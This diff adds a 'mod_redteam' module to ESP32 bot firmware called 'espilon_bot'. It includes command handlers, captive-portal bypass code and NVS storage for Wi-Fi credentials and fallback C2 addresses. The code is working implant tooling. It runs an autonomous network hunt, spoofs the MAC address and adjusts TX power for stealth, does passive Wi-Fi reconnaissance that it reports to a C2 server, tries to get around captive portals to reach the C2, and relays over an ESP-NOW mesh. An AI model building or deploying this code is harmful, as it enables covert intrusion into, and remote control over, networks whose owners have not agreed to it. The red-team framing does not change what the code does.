||||
}
|
||||
|
||||
rt_hunt_trigger();
|
||||
msg_info(TAG, "Hunt started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_stop
|
||||
* Stop hunt, restore WiFi + MAC + TX power.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
if (!rt_hunt_is_active()) {
|
||||
msg_info(TAG, "Hunt not running", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
rt_hunt_stop();
|
||||
msg_info(TAG, "Hunt stopped, WiFi restored", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_status
|
||||
* Report state, SSID, method, MAC, TX power.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
rt_state_t state = rt_hunt_get_state();
|
||||
uint8_t mac[6];
|
||||
rt_stealth_get_current_mac(mac);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
|
||||
" nets=%d c2_fb=%d mesh=%s",
|
||||
rt_hunt_state_name(state),
|
||||
rt_hunt_connected_ssid(),
|
||||
rt_hunt_connected_method(),
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
||||
rt_config_net_count(),
|
||||
rt_config_c2_count(),
|
||||
rt_mesh_is_running() ? "on" : "off");
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_scan
|
||||
* WiFi scan + report results to C2 (recon).
|
||||
* ============================================================ */
|
||||
static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
msg_info(TAG, "Passive scan starting...", req);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
int found = rt_stealth_passive_scan(3000);
|
||||
|
||||
rt_scan_ap_t aps[RT_MAX_SCAN_APS];
|
||||
int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line),
|
||||
"AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode,
|
||||
aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2],
|
||||
aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]);
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
char summary[64];
|
||||
snprintf(summary, sizeof(summary), "Scan done: %d APs found", found);
|
||||
msg_info(TAG, summary, req);
|
||||
#else
|
||||
msg_info(TAG, "Stealth not enabled, using active scan", req);
|
||||
/* TODO: fallback to esp_wifi_scan_start() */
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_net_add <ssid> <pass>
|
||||
* Add/update a known network. Pass "" to remove.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: rt_net_add <ssid> [pass]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
const char *pass = (argc >= 2) ? argv[1] : "";
|
||||
|
||||
/* Empty string for pass means "remove" */
|
||||
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
|
||||
if (rt_config_net_remove(ssid)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Network not found", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (rt_config_net_add(ssid, pass)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Failed to add network (full?)", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_net_list
|
||||
* List known networks.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
|
||||
int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (count == 0) {
|
||||
msg_info(TAG, "No known networks", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
|
||||
i, nets[i].ssid,
|
||||
nets[i].pass[0] ? "***" : "(open)");
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: rt_mesh <start|stop>
|
||||
* Enable/disable ESP-NOW mesh relay.
|
||||
* ============================================================ */
|
||||
static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_RT_MESH
|
||||
if (strcmp(argv[0], "start") == 0) {
|
||||
if (rt_mesh_is_running()) {
|
||||
msg_info(TAG, "Mesh already running", req);
|
||||
} else if (rt_mesh_start()) {
|
||||
msg_info(TAG, "Mesh relay started", req);
|
||||
} else {
|
||||
msg_error(TAG, "Mesh start failed", req);
|
||||
}
|
||||
} else if (strcmp(argv[0], "stop") == 0) {
|
||||
rt_mesh_stop();
|
||||
msg_info(TAG, "Mesh relay stopped", req);
|
||||
} else {
|
||||
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
|
||||
}
|
||||
#else
|
||||
msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command table
|
||||
* ============================================================ */
|
||||
static const command_t rt_cmds[] = {
|
||||
{
|
||||
.name = "rt_hunt",
|
||||
.sub = NULL,
|
||||
.help = "Start autonomous network hunt",
|
||||
.min_args = 0,
|
||||
.max_args = 1,
|
||||
.handler = (command_handler_t)cmd_rt_hunt,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_stop",
|
||||
.sub = NULL,
|
||||
.help = "Stop hunt, restore WiFi/MAC/TX",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_status",
|
||||
.sub = NULL,
|
||||
.help = "Hunt state, MAC, method, config",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_status,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_scan",
|
||||
.sub = NULL,
|
||||
.help = "Passive WiFi scan + report to C2",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_scan,
|
||||
.ctx = NULL,
|
||||
.async = true,
|
||||
},
|
||||
{
|
||||
.name = "rt_net_add",
|
||||
.sub = NULL,
|
||||
.help = "Add known network: rt_net_add <ssid> [pass]",
|
||||
.min_args = 1,
|
||||
.max_args = 2,
|
||||
.handler = (command_handler_t)cmd_rt_net_add,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_net_list",
|
||||
.sub = NULL,
|
||||
.help = "List known networks",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_rt_net_list,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "rt_mesh",
|
||||
.sub = NULL,
|
||||
.help = "ESP-NOW mesh relay: rt_mesh <start|stop>",
|
||||
.min_args = 1,
|
||||
.max_args = 1,
|
||||
.handler = (command_handler_t)cmd_rt_mesh,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Registration
|
||||
* ============================================================ */
|
||||
void mod_redteam_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering red team commands");
|
||||
|
||||
rt_config_init();
|
||||
rt_config_save_orig_mac();
|
||||
|
||||
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
|
||||
command_register(&rt_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_REDTEAM */
|
||||
|
||||
void mod_redteam_register_commands(void) { /* empty */ }
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
8
espilon_bot/components/mod_redteam/cmd_redteam.h
Normal file
8
espilon_bot/components/mod_redteam/cmd_redteam.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_redteam.h
|
||||
* Red Team resilient connectivity module.
|
||||
* Compiled as empty when CONFIG_MODULE_REDTEAM is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_redteam_register_commands(void);
|
||||
291
espilon_bot/components/mod_redteam/rt_captive.c
Normal file
291
espilon_bot/components/mod_redteam/rt_captive.c
Normal file
@ -0,0 +1,291 @@
|
||||
/*
|
||||
* rt_captive.c
|
||||
* Captive portal detection and bypass strategies.
|
||||
*
|
||||
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
|
||||
* - 204 = no portal (internet open)
|
||||
* - 200/302 = captive portal detected
|
||||
* - Connection failed = unknown
|
||||
*
|
||||
* Bypass strategies (in order):
|
||||
* 1. Direct C2 port — often not intercepted by portals
|
||||
* 2. POST accept — parse 302 redirect, POST to portal accept URL
|
||||
* 3. Wait + retry — some portals open after DNS traffic
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_captive.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "RT_CAPTIVE";
|
||||
|
||||
#define CAPTIVE_TIMEOUT_S 5
|
||||
#define CAPTIVE_RX_BUF 512
|
||||
|
||||
/* ============================================================
|
||||
* Raw HTTP request to check connectivity
|
||||
* ============================================================ */
|
||||
|
||||
/* Resolve hostname to IP */
|
||||
static bool resolve_host(const char *host, struct in_addr *out)
|
||||
{
|
||||
struct addrinfo hints = {0};
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
struct addrinfo *res = NULL;
|
||||
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
|
||||
if (err != 0 || !res) {
|
||||
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
|
||||
return false;
|
||||
}
|
||||
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
|
||||
*out = addr->sin_addr;
|
||||
lwip_freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Send raw HTTP GET, return HTTP status code (0 on failure) */
|
||||
static int http_get_status(const char *host, int port, const char *path,
|
||||
char *location_out, size_t location_cap)
|
||||
{
|
||||
struct in_addr ip;
|
||||
if (!resolve_host(host, &ip)) return 0;
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return 0;
|
||||
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr = ip;
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Send HTTP request */
|
||||
char req[256];
|
||||
int req_len = snprintf(req, sizeof(req),
|
||||
"GET %s HTTP/1.0\r\n"
|
||||
"Host: %s\r\n"
|
||||
"Connection: close\r\n"
|
||||
"User-Agent: Mozilla/5.0\r\n"
|
||||
"\r\n",
|
||||
path, host);
|
||||
|
||||
if (lwip_write(s, req, req_len) <= 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Read response header */
|
||||
char buf[CAPTIVE_RX_BUF];
|
||||
int total = 0;
|
||||
int len;
|
||||
while (total < (int)sizeof(buf) - 1) {
|
||||
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
|
||||
if (len <= 0) break;
|
||||
total += len;
|
||||
/* Stop after headers (double CRLF) */
|
||||
buf[total] = '\0';
|
||||
if (strstr(buf, "\r\n\r\n")) break;
|
||||
}
|
||||
lwip_close(s);
|
||||
|
||||
if (total == 0) return 0;
|
||||
buf[total] = '\0';
|
||||
|
||||
/* Parse status code: "HTTP/1.x NNN ..." */
|
||||
int status = 0;
|
||||
char *sp = strchr(buf, ' ');
|
||||
if (sp) {
|
||||
status = atoi(sp + 1);
|
||||
}
|
||||
|
||||
/* Extract Location header if present (for 302 redirects) */
|
||||
if (location_out && location_cap > 0) {
|
||||
location_out[0] = '\0';
|
||||
char *loc = strstr(buf, "Location: ");
|
||||
if (!loc) loc = strstr(buf, "location: ");
|
||||
if (loc) {
|
||||
loc += 10; /* skip "Location: " */
|
||||
char *end = strstr(loc, "\r\n");
|
||||
if (end) {
|
||||
size_t copy_len = end - loc;
|
||||
if (copy_len >= location_cap) copy_len = location_cap - 1;
|
||||
memcpy(location_out, loc, copy_len);
|
||||
location_out[copy_len] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal detection
|
||||
* ============================================================ */
|
||||
|
||||
rt_portal_status_t rt_captive_detect(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Checking for captive portal...");
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "No captive portal (got 204)");
|
||||
return RT_PORTAL_NONE;
|
||||
}
|
||||
|
||||
if (status == 200 || status == 302 || status == 301) {
|
||||
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
|
||||
return RT_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
if (status == 0) {
|
||||
/* Try alternative check endpoint */
|
||||
status = http_get_status(
|
||||
"captive.apple.com", 80,
|
||||
"/hotspot-detect.html", NULL, 0);
|
||||
|
||||
if (status == 200) {
|
||||
/* Apple endpoint returns 200 with "Success" if no portal */
|
||||
/* and 200 with redirect content if portal — tricky */
|
||||
/* For now, assume it's potentially a portal */
|
||||
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
|
||||
return RT_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Connectivity check failed (no response)");
|
||||
return RT_PORTAL_UNKNOWN;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
|
||||
return RT_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
bool rt_captive_bypass(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Attempting captive portal bypass...");
|
||||
|
||||
/* Strategy 1: Direct C2 port
|
||||
* Most captive portals only intercept 80/443.
|
||||
* Our C2 is on port 2626 — might go through. */
|
||||
{
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s >= 0) {
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
lwip_close(s);
|
||||
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
lwip_close(s);
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
|
||||
}
|
||||
|
||||
/* Strategy 2: POST accept
|
||||
* Get the redirect URL from the portal, POST to accept. */
|
||||
{
|
||||
char location[256] = {0};
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", location, sizeof(location));
|
||||
|
||||
if ((status == 302 || status == 301) && location[0]) {
|
||||
ESP_LOGI(TAG, "Portal redirect to: %s", location);
|
||||
|
||||
/* Parse host from location URL */
|
||||
/* Expected format: http://host/path or https://host/path */
|
||||
char *host_start = strstr(location, "://");
|
||||
if (host_start) {
|
||||
host_start += 3;
|
||||
char *path_start = strchr(host_start, '/');
|
||||
char host_buf[64] = {0};
|
||||
|
||||
if (path_start) {
|
||||
size_t hlen = path_start - host_start;
|
||||
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
|
||||
memcpy(host_buf, host_start, hlen);
|
||||
} else {
|
||||
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
|
||||
path_start = "/";
|
||||
}
|
||||
|
||||
/* Try to just GET the portal page (some portals auto-accept) */
|
||||
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
|
||||
ESP_LOGI(TAG, "Portal page status: %d", p_status);
|
||||
|
||||
/* Check if we now have internet */
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
int check = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (check == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
|
||||
}
|
||||
|
||||
/* Strategy 3: Wait + retry
|
||||
* Some portals open after seeing DNS traffic. Wait 10s. */
|
||||
{
|
||||
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
|
||||
}
|
||||
|
||||
msg_info(TAG, "All captive portal bypass strategies failed", NULL);
|
||||
return false;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_REDTEAM */
|
||||
|
||||
rt_portal_status_t rt_captive_detect(void) { return RT_PORTAL_UNKNOWN; }
|
||||
bool rt_captive_bypass(void) { return false; }
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
30
espilon_bot/components/mod_redteam/rt_captive.h
Normal file
30
espilon_bot/components/mod_redteam/rt_captive.h
Normal file
@ -0,0 +1,30 @@
|
||||
/*
|
||||
* rt_captive.h
|
||||
* Captive portal detection and bypass strategies.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
RT_PORTAL_NONE, /* No captive portal — internet is open */
|
||||
RT_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
|
||||
RT_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
|
||||
} rt_portal_status_t;
|
||||
|
||||
/* Check for captive portal via HTTP 204 connectivity test.
|
||||
* Returns portal status. */
|
||||
rt_portal_status_t rt_captive_detect(void);
|
||||
|
||||
/* Attempt to bypass a detected captive portal.
|
||||
* Tries strategies in order: direct C2 port, POST accept, wait+retry.
|
||||
* Returns true if C2 is reachable after bypass. */
|
||||
bool rt_captive_bypass(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
383
espilon_bot/components/mod_redteam/rt_config.c
Normal file
383
espilon_bot/components/mod_redteam/rt_config.c
Normal file
@ -0,0 +1,383 @@
|
||||
/*
|
||||
* rt_config.c
|
||||
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_config.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
|
||||
static const char *TAG = "RT_CFG";
|
||||
static const char *NVS_NS = "rt_cfg";
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void rt_config_init(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static void net_key_ssid(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "n_%d", idx);
|
||||
}
|
||||
|
||||
static void net_key_pass(int idx, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "p_%d", idx);
|
||||
}
|
||||
|
||||
int rt_config_net_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int rt_config_net_list(rt_network_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_RT_MAX_KNOWN_NETWORKS) count = CONFIG_RT_MAX_KNOWN_NETWORKS;
|
||||
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(rt_network_t));
|
||||
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
size_t len = RT_SSID_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].ssid, &len);
|
||||
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
len = RT_PASS_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].pass, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool rt_config_net_add(const char *ssid, const char *pass)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
|
||||
/* Check if SSID already exists → update */
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[RT_SSID_MAX_LEN] = {0};
|
||||
size_t len = RT_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
/* Update password */
|
||||
net_key_pass(i, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Updated network '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* New entry */
|
||||
if (count >= CONFIG_RT_MAX_KNOWN_NETWORKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
net_key_ssid(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, ssid);
|
||||
|
||||
net_key_pass(count, key, sizeof(key));
|
||||
nvs_set_str(h, key, pass ? pass : "");
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "rt_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool rt_config_net_remove(const char *ssid)
|
||||
{
|
||||
if (!ssid || !ssid[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "rt_count", &count);
|
||||
|
||||
int found = -1;
|
||||
char key[16];
|
||||
for (int i = 0; i < count; i++) {
|
||||
net_key_ssid(i, key, sizeof(key));
|
||||
char existing[RT_SSID_MAX_LEN] = {0};
|
||||
size_t len = RT_SSID_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, ssid) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift entries down to fill the gap */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16];
|
||||
char buf[RT_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
/* Copy SSID[i+1] → SSID[i] */
|
||||
net_key_ssid(i + 1, src_key, sizeof(src_key));
|
||||
net_key_ssid(i, dst_key, sizeof(dst_key));
|
||||
len = RT_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
|
||||
/* Copy PASS[i+1] → PASS[i] */
|
||||
net_key_pass(i + 1, src_key, sizeof(src_key));
|
||||
net_key_pass(i, dst_key, sizeof(dst_key));
|
||||
len = RT_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
/* Erase last entries — reuse key[16] from above */
|
||||
net_key_ssid(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
net_key_pass(count - 1, key, sizeof(key));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "rt_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
int rt_config_c2_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int rt_config_c2_list(rt_c2_addr_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_RT_MAX_C2_FALLBACKS) count = CONFIG_RT_MAX_C2_FALLBACKS;
|
||||
|
||||
